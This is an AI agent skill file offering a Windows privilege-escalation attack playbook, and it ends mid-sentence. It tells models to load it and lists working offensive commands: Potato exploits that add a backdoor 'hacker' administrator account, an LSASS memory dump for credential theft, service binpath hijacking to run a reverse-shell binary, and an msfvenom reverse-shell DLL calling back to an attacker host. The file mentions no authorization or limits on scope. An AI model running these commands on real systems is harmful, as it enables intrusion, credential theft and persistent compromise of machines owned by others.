/windows-privilege-escalation

name: windows-privilege-escalation
description: >-
  Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.

SKILL: Windows Local Privilege Escalation — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.

0. RELATED ROUTING

Before going deep, consider loading:

• [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after escalation for pivoting to other hosts
• [windows-av-evasion](../windows-av-evasion/SKILL.md) when AV/EDR blocks your privesc tools
• [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) when the host is domain-joined and you need AD-level escalation
• [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for domain privilege escalation via ACL misconfigurations

Advanced Reference

Also load [TOKEN_POTATO_TRICKS.md](./TOKEN_POTATO_TRICKS.md) when you need:

• Detailed Potato family comparison (JuicyPotato → GodPotato evolution)
• OS-version-specific exploit selection
• Required privileges and protocol details per variant

Also load [UAC_BYPASS_METHODS.md](./UAC_BYPASS_METHODS.md) when you need:

• UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
• Auto-elevate binary abuse
• Mock trusted directory tricks

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1. ENUMERATION CHECKLIST

System Context

whoami /all                        & REM Current user, groups, privileges
systeminfo                         & REM OS version, hotfixes, architecture
hostname                           & REM Machine name
net user %USERNAME%                & REM Group memberships

Token Privileges (Critical)

whoami /priv

| Privilege | Escalation Path | |---|---| | `SeImpersonatePrivilege` | Potato family exploits (§2) | | `SeAssignPrimaryTokenPrivilege` | Token manipulation, Potato variants | | `SeDebugPrivilege` | Dump LSASS, inject into SYSTEM processes | | `SeBackupPrivilege` | Read any file (SAM/SYSTEM/NTDS.dit) | | `SeRestorePrivilege` | Write any file (DLL hijack, service binary) | | `SeTakeOwnershipPrivilege` | Take ownership of any object | | `SeLoadDriverPrivilege` | Load vulnerable kernel driver → kernel exploit |

Services & Scheduled Tasks

sc query state= all                & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v        & REM Verbose scheduled task list

Installed Software & Patches

wmic product get name,version
wmic qfe list                      & REM Installed patches

Network & Credentials

netstat -ano                       & REM Listening ports + PIDs
cmdkey /list                       & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul

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2. TOKEN MANIPULATION & POTATO EXPLOITS

SeImpersonatePrivilege Abuse

Service accounts (IIS AppPool, MSSQL, etc.) typically hold `SeImpersonatePrivilege`. This enables impersonation of any token presented to you.

| Tool | OS Support | Protocol | Notes | |---|---|---|---| | **JuicyPotato** | Win7–Server2016 | COM/DCOM | Requires valid CLSID; patched on Server2019+ | | **RoguePotato** | Server2019+ | OXID resolver redirect | Needs controlled machine on port 135 | | **PrintSpoofer** | Win10/Server2016-2019 | Named pipe via Print Spooler | Simple, fast; Spooler must run | | **SweetPotato** | Broad | COM + Print + EFS | Combines multiple techniques | | **GodPotato** | Win8–Server2022 | DCOM RPCSS | Works on latest patched systems |

# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"

# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"

# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}

SeDebugPrivilege Abuse

# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp

# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe

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3. SERVICE MISCONFIGURATIONS

Unquoted Service Paths

# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """

If path is `C:\Program Files\My App\service.exe`, Windows tries: 1. `C:\Program.exe` 2. `C:\Program Files\My.exe` 3. `C:\Program Files\My App\service.exe`

Place malicious binary at first writable location.

Weak Service Permissions

# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS

# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc

Writable Service Binaries

# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary

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4. DLL HIJACKING

DLL Search Order (Standard)

1. Directory of the executable 2. `C:\Windows\System32` 3. `C:\Windows\System` 4. `C:\Windows` 5. Current directory 6. Directories in `%PATH%`

Exploitation

# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll

# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll

# Place in writable directo